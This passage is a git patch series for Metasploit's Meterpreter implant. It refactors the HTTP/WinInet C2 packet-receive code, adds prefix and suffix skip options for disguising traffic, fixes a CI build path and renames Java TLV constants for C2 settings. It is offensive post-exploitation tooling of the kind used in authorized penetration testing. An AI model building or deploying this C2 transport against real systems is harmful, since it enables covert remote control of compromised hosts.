+402,43 @@ static DWORD packet_transmit_http(Remote *remote, LPBYTE rawPacket, DWORD rawPac ctx->close_req(hReq); + if (freeEncodedPacket) + { + SAFE_FREE(encodedPacket); + } + lock_release(remote->lock); return dwResult; } /*! - * @brief Windows-specific function to receive a new packet via one of the HTTP libs (WinInet or WinHTTP). + * @brief Receive a new packet via one of the HTTP libs (WinInet or WinHTTP). * @param remote Pointer to the \c Remote instance. * @param packet Pointer to a pointer that will receive the \c Packet data. * @return An indication of the result of processing the transmission request. */ static DWORD packet_receive_http(Remote *remote, Packet **packet) { - DWORD headerBytes = 0, payloadBytesLeft = 0, res; - Packet *localPacket = NULL; - PacketHeader header; - DWORD bytesRead; - BOOL inHeader = TRUE; - PUCHAR packetBuffer = NULL; - ULONG payloadLength; + DWORD result = ERROR_SUCCESS; HttpTransportContext* ctx = (HttpTransportContext*)remote->transport->ctx; - - HINTERNET hReq; - BOOL hRes; DWORD retries = 5; lock_acquire(remote->lock); - hReq = ctx->create_req(ctx, TRUE, "PACKET RECEIVE"); + HINTERNET hReq = ctx->create_req(ctx, TRUE, "PACKET RECEIVE"); if (hReq == NULL) { + result = GetLastError(); goto out; } vdprintf("[PACKET RECEIVE HTTP] sending GET"); - hRes = ctx->send_req(ctx, hReq, TRUE, NULL, 0); - if (!hRes) + if (!ctx->send_req(ctx, hReq, &ctx->get_connection, NULL, 0)) { dprintf("[PACKET RECEIVE HTTP] Failed send_req: %d %d", GetLastError(), WSAGetLastError()); - SetLastError(ERROR_NOT_FOUND); + result = ERROR_NOT_FOUND; goto out; } @@ -477,150 +446,99 @@ static DWORD packet_receive_http(Remote *remote, Packet **packet) if (ctx->receive_response && !ctx->receive_response(hReq)) { vdprintf("[PACKET RECEIVE] Failed receive: %d", GetLastError()); - SetLastError(ERROR_NOT_FOUND); + result = ERROR_NOT_FOUND; goto out; } - SetLastError(ctx->validate_response(hReq, ctx)); - - if (GetLastError() != ERROR_SUCCESS) + DWORD contentLength = 0; + result = ctx->validate_response(hReq, ctx, &contentLength) != ERROR_SUCCESS; + if (result != ERROR_SUCCESS) { + vdprintf("[PACKET RECEIVE] Validation failed: %d", result); goto out; } + dprintf("[PACKET RECEIVE] Response is valid, content length is: %d", contentLength); - UINT skipCount = ctx->get_connection.options.payload_skip_count; - if (skipCount == 0) - { - skipCount = ctx->default_options.payload_skip_count; - } - - vdprintf("[PACKET RECEIVE HTTP] Skipping GET bytes: %u", skipCount); - retries = 3; - while (skipCount > 0 && retries > 0) - { - DWORD bytesRead = 0; - BYTE buf[100] = { 0 }; - ctx->read_response(hReq, buf, min(skipCount, sizeof(buf)), &bytesRead); - vdprintf("[PACKET RECEIVE HTTP] Skipped bytes: %u", bytesRead); - skipCount -= bytesRead; - if (bytesRead == 0) - { - --retries; - } - } - - if (skipCount > 0) + if (contentLength == 0) { - // we didn't receive all the data to skip first, which means there's either a problem - // or there's nothing at all for us to do. - SetLastError(ERROR_NOT_FOUND); + dprintf("[PACKET RECEIVE] No data in body, bailing out"); + result = ERROR_EMPTY; goto out; } - // Read the packet length - retries = 3; - vdprintf("[PACKET RECEIVE HTTP] Start looping through the receive calls"); - while (inHeader && retries > 0) + DWORD bytesRead = 0; + DWORD bytesTotal = 0; + LPBYTE body = (LPBYTE)calloc(contentLength, sizeof(BYTE)); + while (bytesTotal < contentLength && retries > 0) { - retries--; - if (!ctx->read_response(hReq, (PUCHAR)&header + headerBytes, sizeof(PacketHeader)-headerBytes, &bytesRead)) - { - dprintf("[PACKET RECEIVE HTTP] Failed HEADER read_response: %d", GetLastError()); - SetLastError(ERROR_NOT_FOUND); - goto out; - } - - vdprintf("[PACKET RECEIVE HTTP] Data received: %u bytes", bytesRead); + dprintf("[PACKET RECEIVE] Trying to read bytes: %d", contentLength - bytesTotal); - // If the response contains no data, this is fine, it just means the - // remote side had nothing to tell us. Indicate this through a - // ERROR_EMPTY response code so we can update the timestamp. - if (bytesRead == 0) + if (!ctx->read_response(hReq, body + bytesTotal, contentLength - bytesTotal, &bytesRead)) { - SetLastError(ERROR_EMPTY); + dprintf("[PACKET RECEIVE HTTP] Failed read_response: %d", GetLastError()); + result = ERROR_NOT_FOUND; goto out; } - headerBytes += bytesRead; - - if (headerBytes != sizeof(PacketHeader)) + if (bytesRead == 0) { + --retries; continue; } - - inHeader = FALSE; + bytesTotal += bytesRead; } - if (headerBytes != sizeof(PacketHeader)) + if (bytesTotal != contentLength) { - dprintf("[PACKET RECEIVE HTTP] headerBytes not valid"); - SetLastError(ERROR_NOT_FOUND); + vdprintf("[PACKET RECEIVE] Failed read response: %d", GetLastError()); + result = ERROR_NOT_FOUND; goto out; } - dprintf("[PACKET RECEIVE HTTP] decoding header"); - PacketHeader encodedHeader; - memcpy(&encodedHeader, &header, sizeof(PacketHeader)); - xor_bytes(header.xor_key, (PUCHAR)&header + sizeof(header.xor_key), sizeof(PacketHeader) - sizeof(header.xor_key)); + dprintf("[PACKET RECEIVE HTTP] Content has been read."); -#ifdef DEBUGTRACE - PUCHAR h = (PUCHAR)&header; - vdprintf("[HTTP] Packet header: [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X]", - h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7], h[8], h[9], h[10], h[11], h[12], h[13], h[14], h[15], h[16], h[17], h[18], h[19], h[20], h[21], h[22], h[23], h[24], h[25], h[26], h[27], h[28], h[29], h[30], h[31]); -#endif - - payloadLength = ntohl(header.length) - sizeof(TlvHeader); - vdprintf("[REC HTTP] Payload length is %d", payloadLength); - DWORD packetSize = sizeof(PacketHeader) + payloadLength; - vdprintf("[REC HTTP] total buffer size for the packet is %d", packetSize); - payloadBytesLeft = payloadLength; - - // Allocate the payload - if (!(packetBuffer = (PUCHAR)calloc(1, packetSize))) + // if there's data to skip at the start of the response, move the packet data + // to the front of the buffer + UINT skipCount = ctx->get_connection.options.payload_prefix_skip; + if (skipCount == 0) { - dprintf("[REC HTTP] Failed to create the packet buffer"); - SetLastError(ERROR_NOT_ENOUGH_MEMORY); - goto out; + skipCount = ctx->default_options.payload_prefix_skip; } - dprintf("[REC HTTP] Allocated packet buffer at %p", packetBuffer); - - // Copy the packet header stuff over to the packet - memcpy_s(packetBuffer, sizeof(PacketHeader), (LPBYTE)&encodedHeader, sizeof(PacketHeader)); - - LPBYTE payload = packetBuffer + sizeof(PacketHeader); - - // Read the payload - retries = payloadBytesLeft; - while (payloadBytesLeft > 0 && retries > 0) + dprintf("[PACKET RECEIVE HTTP] Skipping prefix bytes: %d", skipCount); + if (skipCount > 0) { - vdprintf("[PACKET RECEIVE HTTP] reading more data from the body..."); - retries--; - if (!ctx->read_response(hReq, payload + payloadLength - payloadBytesLeft, payloadBytesLeft, &bytesRead)) - { - dprintf("[PACKET RECEIVE] Failed BODY read_response: %d", GetLastError()); - SetLastError(ERROR_NOT_FOUND); - goto out; - } - - if (!bytesRead) - { - vdprintf("[PACKET RECEIVE HTTP] no bytes read, bailing out"); - SetLastError(ERROR_NOT_FOUND); - goto out; - } + memmove_s(body, contentLength, body + skipCount, contentLength - skipCount); + contentLength -= skipCount; + } - vdprintf("[PACKET RECEIVE HTTP] bytes read: %u", bytesRead); - payloadBytesLeft -= bytesRead; + // Then adjust the length to consider based on the suffix skip + skipCount = ctx->get_connection.options.payload_suffix_skip; + if (skipCount == 0) + { + skipCount = ctx->default_options.payload_suffix_skip; } + dprintf("[PACKET RECEIVE HTTP] Skipping suffix bytes: %d", skipCount); + contentLength -= skipCount; - // Didn't finish? - if (payloadBytesLeft) + if (contentLength == 0) { + // After stripping our prefix/suffix, we have nothing left. + dprintf("[PACKET RECEIVE] No data in body post-skipping, bailing out"); + result = ERROR_EMPTY; goto out; } + // The packet data has been read, but could be encoded based on the C2, so decode it first + LPBYTE packetData = NULL; + DWORD packetDataSize = 0; + BOOL freePacketData = decode_encoded_packet(ctx, body, contentLength, &packetData, &packetDataSize); + + // We're now ready to handle the packet directly. Check the header info before we move forward. + PacketHeader header = *(PacketHeader*)packetData; + xor_bytes(header.xor_key, (PBYTE)&header + sizeof(header.xor_key), sizeof(header) - sizeof(header.xor_key)); + #ifdef DEBUGTRACE - h = (PUCHAR)&header.session_guid[0]; + PUCHAR h = (PUCHAR)&header.session_guid[0]; dprintf("[HTTP] Packet Session GUID: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X", h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7], h[8], h[9], h[10], h[11], h[12], h[13], h[14], h[15]); #endif @@ -628,7 +546,7 @@ static DWORD packet_receive_http(Remote *remote, Packet **packet) if (is_null_guid(header.session_guid) || memcmp(remote->session_guid, header.session_guid, sizeof(header.session_guid)) == 0) { dprintf("[HTTP] Session GUIDs match (or packet guid is null), decrypting packet"); - SetLastError(decrypt_packet(remote, packet, packetBuffer, packetSize)); + result = decrypt_packet(remote, packet, packetData, packetDataSize); } else { @@ -637,10 +555,10 @@ static DWORD packet_receive_http(Remote *remote, Packet **packet) if (pivotCtx != NULL) { dprintf("[HTTP] Pivot found, dispatching packet on a thread (to avoid main thread blocking)"); - SetLastError(pivot_packet_dispatch(pivotCtx, packetBuffer, packetSize)); + result = pivot_packet_dispatch(pivotCtx, packetData, packetDataSize); // mark this packet buffer as NULL as the thread will clean it up - packetBuffer = NULL; + packetData = NULL; *packet = NULL; } else @@ -649,18 +567,14 @@ static DWORD packet_receive_http(Remote *remote, Packet **packet) } } -out: - res = GetLastError(); - - dprintf("[HTTP] Cleaning up"); - SAFE_FREE(packetBuffer); - - // Cleanup on failure - if (res != ERROR_SUCCESS) + if (freePacketData) { - SAFE_FREE(localPacket); + SAFE_FREE(packetData); } +out: + + dprintf("[HTTP] Cleaning up"); if (hReq) { ctx->close_req(hReq); @@ -670,9 +584,17 @@ static DWORD packet_receive_http(Remote *remote, Packet **packet) dprintf("[HTTP] Packet receive finished"); - return res; + return result; } +/*! + * @brief Initialise a connection to a remote web server using WinHTTP. + * @param ctx Pointer to the current \c HttpTransportContext. + * @param conn Pointer to the \c HttpConnection config. + * @param host Name of the host to connect to. + * @param port Port number to connect on. + * @return Indication of success or failure. + */ static DWORD server_init_connection(HttpTransportContext* ctx, HttpConnection* conn, PWSTR host, INTERNET_PORT port) { // configure proxy @@ -755,6 +677,12 @@ static DWORD server_init_winhttp(Transport* transport) return result; } +/*! + * @brief Close off any connection resource handles. + * @param ctx Pointer ot the current \c HttpTransportContext. + * @param conn Pointer ot the current \c HttpConnection. + * @return Indication of success or failure. + */ static void close_connection(HttpTransportContext* ctx, HttpConnection* conn) { if (conn != NULL) @@ -774,7 +702,7 @@ static void close_connection(HttpTransportContext* ctx, HttpConnection* conn) /*! * @brief Deinitialise the HTTP(S) connection. - * @param remote Pointer to the remote instance with the HTTP(S) transport details wired in. + * @param transport Pointer to the current \c Transport instance with the HTTP(S) transport details wired in. * @return Indication of success or failure. */ static DWORD server_deinit_http(Transport* transport) @@ -913,6 +841,10 @@ static DWORD server_dispatch_http(Remote* remote, THREAD* dispatchThread) return result; } +/*! + * @brief Destroy any configured HTTP options for the given request. + * @param options Pointer to the \c HttpRequestOptions to clean up. + */ static void destroy_options(HttpRequestOptions* options) { SAFE_FREE(options->ua); @@ -969,6 +901,12 @@ static void transport_destroy_http(Transport* transport) } } +/*! + * @brief Write the given set of request options to the given TLV packet. + * @param optionsPacket Pointer to the \c Packet to write all the TLV data to. + * @param sourceOptions Pointer to the \c HttpRequestOptions that needs to be written. + * @returns Indication of success or failure. + */ BOOL set_http_options_to_tlv(Packet* optionsPacket, HttpRequestOptions* sourceOptions) { if (sourceOptions->encode_flags != 0) @@ -983,9 +921,13 @@ BOOL set_http_options_to_tlv(Packet* optionsPacket, HttpRequestOptions* sourceOp { packet_add_tlv_raw(optionsPacket, TLV_TYPE_C2_PREFIX, sourceOptions->payload_prefix, sourceOptions->payload_prefix_size); } - if (sourceOptions->payload_skip_count > 0) + if (sourceOptions->payload_prefix_skip > 0) + { + packet_add_tlv_uint(optionsPacket, TLV_TYPE_C2_PREFIX_SKIP, sourceOptions->payload_prefix_skip); + } + if (sourceOptions->payload_suffix_skip > 0) { - packet_add_tlv_uint(optionsPacket, TLV_TYPE_C2_SKIP_COUNT, sourceOptions->payload_skip_count); + packet_add_tlv_uint(optionsPacket, TLV_TYPE_C2_SUFFIX_SKIP, sourceOptions->payload_suffix_skip); } if (sourceOptions->payload_suffix != NULL && sourceOptions->payload_suffix_size > 0) { @@ -1015,6 +957,11 @@ BOOL set_http_options_to_tlv(Packet* optionsPacket, HttpRequestOptions* sourceOp return TRUE; } +/*! + * @brief Serialize the current transport to the given C2 packet. + * @param transport Pointer to the current \c Transport. + * @param c2Packet Pointer to the \c Packet to write all the TLV data to. + */ void transport_write_http_config(Transport* transport, Packet* c2Packet) { if (transport->type == METERPRETER_TRANSPORT_HTTP || transport->type == METERPRETER_TRANSPORT_HTTPS) @@ -1056,13 +1003,21 @@ void transport_write_http_config(Transport* transport, Packet* c2Packet) } } +/*! + * @brief Read HTTP configuration options from a TLV packet. + * @param packet Pointer to the \c Packet containing the TLV data. + * @param optionsTlv Pointer to the \c Tlv group to read the options from. + * @param targetOptions Pointer to the \c HttpRequestOptions instance to populate. + * @returns Indication of success or failure. + */ BOOL get_http_options_from_tlv(Packet* packet, Tlv* optionsTlv, HttpRequestOptions* targetOptions) { targetOptions->encode_flags = packet_get_tlv_group_entry_value_uint(packet, optionsTlv, TLV_TYPE_C2_ENC); targetOptions->headers = packet_get_tlv_group_entry_value_wstring(packet, optionsTlv, TLV_TYPE_C2_HEADERS, NULL); targetOptions->payload_prefix = packet_get_tlv_group_entry_value_raw_copy(packet, optionsTlv, TLV_TYPE_C2_PREFIX, &targetOptions->payload_prefix_size); - targetOptions->payload_skip_count = packet_get_tlv_group_entry_value_uint(packet, optionsTlv, TLV_TYPE_C2_SKIP_COUNT); + targetOptions->payload_prefix_skip = packet_get_tlv_group_entry_value_uint(packet, optionsTlv, TLV_TYPE_C2_PREFIX_SKIP); targetOptions->payload_suffix = packet_get_tlv_group_entry_value_raw_copy(packet, optionsTlv, TLV_TYPE_C2_SUFFIX, &targetOptions->payload_suffix_size); + targetOptions->payload_suffix_skip = packet_get_tlv_group_entry_value_uint(packet, optionsTlv, TLV_TYPE_C2_SUFFIX_SKIP); targetOptions->ua = packet_get_tlv_group_entry_value_wstring(packet, optionsTlv, TLV_TYPE_C2_UA, NULL); targetOptions->uri = packet_get_tlv_group_entry_value_wstring(packet, optionsTlv, TLV_TYPE_C2_URI, NULL); targetOptions->uuid_cookie = packet_get_tlv_group_entry_value_wstring(packet, optionsTlv, TLV_TYPE_C2_UUID_COOKIE, NULL); @@ -1072,6 +1027,14 @@ BOOL get_http_options_from_tlv(Packet* packet, Tlv* optionsTlv, HttpRequestOptio return TRUE; } +/*! + * @brief Read HTTP request configuration options from a TLV packet. + * @param packet Pointer to the \c Packet containing the TLV data. + * @param c2Tlv Pointer to the \c Tlv that contains the options TLV data + * @param tlvType Identifies the TLV group type that contains the options to read. + * @param targetOptions Pointer to the \c HttpRequestOptions instance to populate. + * @returns Indication of success or failure. + */ BOOL get_http_options_from_config(Packet* packet, Tlv* c2Tlv, UINT tlvType, HttpRequestOptions* targetOptions) { Tlv optionsTlv = { 0 }; @@ -1090,7 +1053,8 @@ static void debug_print_http_options(PSTR type, HttpRequestOptions* options) dprintf("[HTTP OPTION] - %s - Payload Prefix: %s", type, options->payload_prefix); dprintf("[HTTP OPTION] - %s - Payload Suffix Size: %u", type, options->payload_suffix_size); dprintf("[HTTP OPTION] - %s - Payload Suffix: %s", type, options->payload_suffix); - dprintf("[HTTP OPTION] - %s - Skip Byte Count: %u", type, options->payload_skip_count); + dprintf("[HTTP OPTION] - %s - Prefix Skip: %u", type, options->payload_prefix_skip); + dprintf("[HTTP OPTION] - %s - Suffix Skip: %u", type, options->payload_suffix_skip); dprintf("[HTTP OPTION] - %s - URI: %S", type, options->uri); dprintf("[HTTP OPTION] - %s - UUID Cookie: %S", type, options->uuid_cookie); dprintf("[HTTP OPTION] - %s - UUID Get: %S", type, options->uuid_get); diff --git a/c/meterpreter/source/metsrv/server_transport_wininet.c b/c/meterpreter/source/metsrv/server_transport_wininet.c index 65b547be5..5c7523ac4 100644 --- a/c/meterpreter/source/metsrv/server_transport_wininet.c +++ b/c/meterpreter/source/metsrv/server_transport_wininet.c @@ -107,15 +107,9 @@ static BOOL read_response_wininet(HANDLE hReq, LPVOID buffer, DWORD bytesToRead, * @param size Buffer size. * @return An indication of the result of sending the request. */ -static BOOL send_request_wininet(HttpTransportContext* ctx, HANDLE hReq, BOOL isGet, LPVOID buffer, DWORD size) +static BOOL send_request_wininet(HttpTransportContext* ctx, HANDLE hReq, HttpConnection* conn, LPVOID buffer, DWORD size) { - PWSTR headers = ctx->default_options.headers; - HttpConnection* conn = isGet ? &ctx->get_connection : &ctx->post_connection; - - if (conn->options.headers) - { - headers = conn->options.headers; - } + PWSTR headers = generate_headers(ctx, conn); DWORD headerLength = headers == NULL ? 0 : -1L; DWORD totalSize = size + conn->options.payload_prefix_size + conn->options.payload_suffix_size; @@ -155,9 +149,10 @@ static BOOL send_request_wininet(HttpTransportContext* ctx, HANDLE hReq, BOOL is * @brief Wrapper around WinINET-specific request response validation. * @param hReq HTTP request handle. * @param ctx The HTTP transport context. + * @param contentLength Pointer to a DWORD receiving the content length of the response. * @return An indication of the result of getting a response. */ -static DWORD validate_response_wininet(HANDLE hReq, HttpTransportContext* ctx) +static DWORD validate_response_wininet(HANDLE hReq, HttpTransportContext* ctx, LPDWORD contentLength) { DWORD statusCode; DWORD statusCodeSize = sizeof(statusCode); @@ -174,7 +169,9 @@ static DWORD validate_response_wininet(HANDLE hReq, HttpTransportContext* ctx) } } - return ERROR_SUCCESS; + DWORD size = sizeof(DWORD); + HttpQueryInfoA(hReq, HTTP_QUERY_CONTENT_LENGTH | HTTP_QUERY_FLAG_NUMBER, contentLength, &size, NULL); + return GetLastError(); } static DWORD server_init_connection(HttpTransportContext* ctx, HttpConnection* conn, PWSTR host, INTERNET_PORT port) From 71f807ed88bceb9f083739a8d2d731ea6cef196a Mon Sep 17 00:00:00 2001 From: OJ Date: Wed, 6 Aug 2025 16:29:17 +1000 Subject: [PATCH 15/24] Fix path to VS for workflow build --- .github/workflows/windows_meterpreter.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/windows_meterpreter.yml b/.github/workflows/windows_meterpreter.yml index 6474001d1..d3f6eebae 100644 --- a/.github/workflows/windows_meterpreter.yml +++ b/.github/workflows/windows_meterpreter.yml @@ -56,4 +56,4 @@ jobs: shell: cmd run: |- cd c/meterpreter - "C:\Program Files (x86)\Microsoft Visual Studio\2022\Enterprise\Common7\Tools\VsDevCmd.bat" && make.bat + "C:\Program Files\Microsoft Visual Studio\2022\Enterprise\Common7\Tools\VsDevCmd.bat" && make.bat From 18591764e715176312b5c410cf0cdec0d4126f18 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Wed, 24 Sep 2025 15:19:16 -0400 Subject: [PATCH 16/24] Refactor java TLV names --- .../com/metasploit/meterpreter/TLVType.java | 43 +++++++++++++------ .../meterpreter/core/core_patch_url.java | 2 +- .../meterpreter/core/core_transport_add.java | 22 +++++----- .../meterpreter/core/core_transport_list.java | 24 +++++------ .../core/core_transport_remove.java | 2 +- .../core/core_transport_set_timeouts.java | 16 +++---- .../core/core_transport_sleep.java | 2 +- 7 files changed, 63 insertions(+), 48 deletions(-) diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/TLVType.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/TLVType.java index 9895adac3..079ea3f85 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/TLVType.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/TLVType.java @@ -51,20 +51,6 @@ public interface TLVType { public static final int TLV_TYPE_MIGRATE_STUB_LEN = TLVPacket.TLV_META_TYPE_UINT | 410; public static final int TLV_TYPE_MIGRATE_STUB = TLVPacket.TLV_META_TYPE_STRING | 411; - public static final int TLV_TYPE_TRANS_TYPE = TLVPacket.TLV_META_TYPE_UINT | 430; - public static final int TLV_TYPE_TRANS_URL = TLVPacket.TLV_META_TYPE_STRING | 431; - public static final int TLV_TYPE_TRANS_UA = TLVPacket.TLV_META_TYPE_STRING | 432; - public static final int TLV_TYPE_TRANS_COMM_TIMEOUT = TLVPacket.TLV_META_TYPE_UINT | 433; - public static final int TLV_TYPE_TRANS_SESSION_EXP = TLVPacket.TLV_META_TYPE_UINT | 434; - public static final int TLV_TYPE_TRANS_CERT_HASH = TLVPacket.TLV_META_TYPE_RAW | 435; - public static final int TLV_TYPE_TRANS_PROXY_HOST = TLVPacket.TLV_META_TYPE_STRING | 436; - public static final int TLV_TYPE_TRANS_PROXY_USER = TLVPacket.TLV_META_TYPE_STRING | 437; - public static final int TLV_TYPE_TRANS_PROXY_PASS = TLVPacket.TLV_META_TYPE_STRING | 438; - public static final int TLV_TYPE_TRANS_RETRY_TOTAL = TLVPacket.TLV_META_TYPE_UINT | 439; - public static final int TLV_TYPE_TRANS_RETRY_WAIT = TLVPacket.TLV_META_TYPE_UINT | 440; - public static final int TLV_TYPE_TRANS_HEADERS = TLVPacket.TLV_META_TYPE_STRING | 441; - public static final int TLV_TYPE_TRANS_GROUP = TLVPacket.TLV_META_TYPE_GROUP | 442; - public static final int TLV_TYPE_MACHINE_ID = TLVPacket.TLV_META_TYPE_STRING | 460; public static final int TLV_TYPE_UUID = TLVPacket.TLV_META_TYPE_RAW | 461; public static final int TLV_TYPE_SESSION_GUID = TLVPacket.TLV_META_TYPE_RAW | 462; @@ -81,6 +67,35 @@ public interface TLVType { public static final int TLV_TYPE_PROCESS_HANDLE = TLVPacket.TLV_META_TYPE_QWORD | 630; public static final int TLV_TYPE_THREAD_HANDLE = TLVPacket.TLV_META_TYPE_QWORD | 631; + // C2 options + public static final int TLV_TYPE_SESSION_EXPIRY = TLVPacket.TLV_META_TYPE_UINT | 700; // Session expiration time + public static final int TLV_TYPE_EXITFUNC = TLVPacket.TLV_META_TYPE_UINT | 701; // identifier of the exit function to use + public static final int TLV_TYPE_DEBUG_LOG = TLVPacket.TLV_META_TYPE_STRING | 702; // path to write debug log + public static final int TLV_TYPE_EXTENSION = TLVPacket.TLV_META_TYPE_GROUP | 703; // Group containing extension info + public static final int TLV_TYPE_C2 = TLVPacket.TLV_META_TYPE_GROUP | 704; // a C2/transport grouping + public static final int TLV_TYPE_C2_COMM_TIMEOUT = TLVPacket.TLV_META_TYPE_UINT | 705; // the timeout for this C2 group + public static final int TLV_TYPE_C2_RETRY_TOTAL = TLVPacket.TLV_META_TYPE_UINT | 706; // number of times to retry this C2 + public static final int TLV_TYPE_C2_RETRY_WAIT = TLVPacket.TLV_META_TYPE_UINT | 707; // how long to wait between reconnect attempts + public static final int TLV_TYPE_C2_URL = TLVPacket.TLV_META_TYPE_STRING | 708; // base URL of this C2 (scheme://host:port/uri) + public static final int TLV_TYPE_C2_URI = TLVPacket.TLV_META_TYPE_STRING | 709; // URI to append to base URL (for HTTP(s)), if any + public static final int TLV_TYPE_C2_PROXY_HOST = TLVPacket.TLV_META_TYPE_STRING | 710; // Host name of proxy + public static final int TLV_TYPE_C2_PROXY_USER = TLVPacket.TLV_META_TYPE_STRING | 711; // Proxy user name + public static final int TLV_TYPE_C2_PROXY_PASS = TLVPacket.TLV_META_TYPE_STRING | 712; // Proxy password + public static final int TLV_TYPE_C2_GET = TLVPacket.TLV_META_TYPE_GROUP | 713; // A grouping of params associated with GET requests + public static final int TLV_TYPE_C2_POST = TLVPacket.TLV_META_TYPE_GROUP | 714; // A grouping of params associated with POST requests + public static final int TLV_TYPE_C2_HEADERS = TLVPacket.TLV_META_TYPE_STRING | 715; // Custom headers + public static final int TLV_TYPE_C2_UA = TLVPacket.TLV_META_TYPE_STRING | 716; // User agent + public static final int TLV_TYPE_C2_CERT_HASH = TLVPacket.TLV_META_TYPE_RAW | 717; // Expected SSL certificate hash + public static final int TLV_TYPE_C2_PREFIX = TLVPacket.TLV_META_TYPE_RAW | 718; // Data to prepend to the outgoing payload + public static final int TLV_TYPE_C2_SUFFIX = TLVPacket.TLV_META_TYPE_RAW | 719; // Data to append to the outgoing payload + public static final int TLV_TYPE_C2_ENC = TLVPacket.TLV_META_TYPE_UINT | 720; // Request encoding flags (Base64|URL|Base64url) + public static final int TLV_TYPE_C2_PREFIX_SKIP = TLVPacket.TLV_META_TYPE_UINT | 721; // Size of prefix to skip (in bytes) + public static final int TLV_TYPE_C2_SUFFIX_SKIP = TLVPacket.TLV_META_TYPE_UINT | 722; // Size of suffix to skip (in bytes) + public static final int TLV_TYPE_C2_UUID_COOKIE = TLVPacket.TLV_META_TYPE_STRING | 723; // Name of the cookie to put the UUID in + public static final int TLV_TYPE_C2_UUID_GET = TLVPacket.TLV_META_TYPE_STRING | 724; // Name of the GET parameter to put the UUID in + public static final int TLV_TYPE_C2_UUID_HEADER = TLVPacket.TLV_META_TYPE_STRING | 725; // Name of the header to put the UUID in + public static final int TLV_TYPE_C2_UUID = TLVPacket.TLV_META_TYPE_STRING | 726; // string representation of the UUID for C2s + // Fs public static final int TLV_TYPE_DIRECTORY_PATH = TLVPacket.TLV_META_TYPE_STRING | 1200; public static final int TLV_TYPE_FILE_NAME = TLVPacket.TLV_META_TYPE_STRING | 1201; diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_patch_url.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_patch_url.java index 9f628fb14..c5e297988 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_patch_url.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_patch_url.java @@ -8,7 +8,7 @@ public class core_patch_url implements Command { public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception { - String patchUrl = request.getStringValue(TLVType.TLV_TYPE_TRANS_URL); + String patchUrl = request.getStringValue(TLVType.TLV_TYPE_C2_URL); if (meterpreter.getTransports().current().switchUri(patchUrl)) { return EXIT_DISPATCH; } else { diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_add.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_add.java index 43e6b534e..c9850af9b 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_add.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_add.java @@ -12,7 +12,7 @@ public class core_transport_add implements Command { public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception { Transport t = null; - String transportUrl = request.getStringValue(TLVType.TLV_TYPE_TRANS_URL); + String transportUrl = request.getStringValue(TLVType.TLV_TYPE_C2_URL); if (transportUrl.startsWith("tcp")) { t = new TcpTransport(meterpreter, transportUrl); @@ -20,26 +20,26 @@ public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket respons HttpTransport h = new HttpTransport(meterpreter, transportUrl); // do the HTTP specific stuff here, since we know what we are - h.setUserAgent(request.getStringValue(TLVType.TLV_TYPE_TRANS_UA, "")); - h.setProxy(request.getStringValue(TLVType.TLV_TYPE_TRANS_PROXY_HOST, "")); - h.setProxyUser(request.getStringValue(TLVType.TLV_TYPE_TRANS_PROXY_USER, "")); - h.setProxyPass(request.getStringValue(TLVType.TLV_TYPE_TRANS_PROXY_PASS, "")); - h.setCertHash(request.getRawValue(TLVType.TLV_TYPE_TRANS_CERT_HASH, null)); + h.setUserAgent(request.getStringValue(TLVType.TLV_TYPE_C2_UA, "")); + h.setProxy(request.getStringValue(TLVType.TLV_TYPE_C2_PROXY_HOST, "")); + h.setProxyUser(request.getStringValue(TLVType.TLV_TYPE_C2_PROXY_USER, "")); + h.setProxyPass(request.getStringValue(TLVType.TLV_TYPE_C2_PROXY_PASS, "")); + h.setCertHash(request.getRawValue(TLVType.TLV_TYPE_C2_CERT_HASH, null)); t = h; } // set the timeouts, defaulting the values that are currently set - // for the current sesion if nothing has been specified + // for the current session if nothing has been specified try { - long sessionExpiry = request.getIntValue(TLVType.TLV_TYPE_TRANS_SESSION_EXP); + long sessionExpiry = request.getIntValue(TLVType.TLV_TYPE_SESSION_EXPIRY); meterpreter.setExpiry(sessionExpiry); } catch (IllegalArgumentException ignored) { } try { - long commTimeout = request.getIntValue(TLVType.TLV_TYPE_TRANS_COMM_TIMEOUT); + long commTimeout = request.getIntValue(TLVType.TLV_TYPE_C2_COMM_TIMEOUT); t.setCommTimeout(commTimeout); } catch (IllegalArgumentException ex) { @@ -47,7 +47,7 @@ public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket respons } try { - long retryTotal = request.getIntValue(TLVType.TLV_TYPE_TRANS_RETRY_TOTAL); + long retryTotal = request.getIntValue(TLVType.TLV_TYPE_C2_RETRY_TOTAL); t.setRetryTotal(retryTotal); } catch (IllegalArgumentException ex) { @@ -55,7 +55,7 @@ public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket respons } try { - long retryWait = request.getIntValue(TLVType.TLV_TYPE_TRANS_RETRY_WAIT); + long retryWait = 